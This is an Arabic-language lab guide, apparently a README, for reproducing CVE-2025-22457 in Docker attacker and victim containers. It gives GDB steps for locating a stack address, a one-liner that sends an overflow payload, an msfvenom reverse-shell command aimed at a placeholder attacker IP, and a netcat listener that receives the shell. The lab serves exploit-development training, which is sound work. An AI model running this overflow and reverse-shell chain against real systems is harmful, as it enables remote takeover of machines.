
مختبر عملي لإعادة إنتاج CVE-2025-22457: يقوم بإعداد حاويات Docker للمهاجم/الضحية، ويجد عناوين المكدس باستخدام GDB، وينفذ استغلال reverse shell عبر msfvenom.
إذا كنت تستخدم Windows يمكنك فتح wsl للتنفيذ
chmod +x setup_environment.sh
./setup_environment.sh
نظرًا لأن عناوين الذاكرة وعنوان IP ديناميكيان في بيئات مختلفة، يجب العثور عليهما يدويًا وتحديث سكربت exploit.py.
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash
هدف هذه الخطوة هو العثور على عنوان مكدس مستقر حتى يتمكن payload الخاص بنا من القفز بدقة.
gdb ./vulnserver
(gdb) b strcpy
(gdb) run
إثارة نقطة التوقف: باستخدام حاوية attacker، نفّذ الأمر التالي لإرسال payload تجريبي. سيؤدي هذا إلى توقف GDB عند نقطة التوقف. ملاحظة: استبدل <VICTIM_IP> بعنوان IP الخاص بـ Victim الظاهر في الخطوة الأولى.
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'
العثور على العنوان وتسجيله: عد إلى نافذة الطرفية التي يعمل فيها GDB، يجب أن يكون البرنامج قد توقف. نفّذ الأمر التالي لفحص المكدس:
(gdb) x/200wx $esp
في المخرجات، ابحث عن منطقة مكونة من 0x43434343 (تمثل 'C'). اختر عنوانًا عشوائيًا من منتصف هذه المنطقة (مثل 0xffffd580) وانسخه. هذا هو stack_address.
استخدم محرر نصوص لتحديث stack_address في exploit.py إلى العنوان الذي نسخته للتو
في shell حاوية attacker، نفّذ أمر msfvenom لإنشاء shellcode. ملاحظة: استبدل <ATTACKER_IP> بعنوان IP الخاص بـ Attacker الظاهر في الخطوة الأولى.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python
انسخ كامل كود buf = b""... الذي أخرجه msfvenom، واستخدمه لاستبدال جزء متغير buf الموجود في ملف exploit.py بالكامل.
nc -lvnp 4444
يمكن استخدام الطريقتين التاليتين الطريقة الأولى
./vulnserver
الطريقة الثانية
gdb ./vulnserver
gef➤ run
python3 exploit.py <victim_ip>
التحقق من النتيجة: بدّل مرة أخرى إلى نافذة مستمع netcat. إذا سار كل شيء على ما يرام، سترى اتصالاً قد تم إنشاؤه والحصول على shell تفاعلي. يمكنك إدخال أوامر مثل whoami و ls -la للتحقق.
اكتب quit في GDB، ثم اكتب exit في shell الحاوية.
docker stop vic atac
docker network rm 111550082_net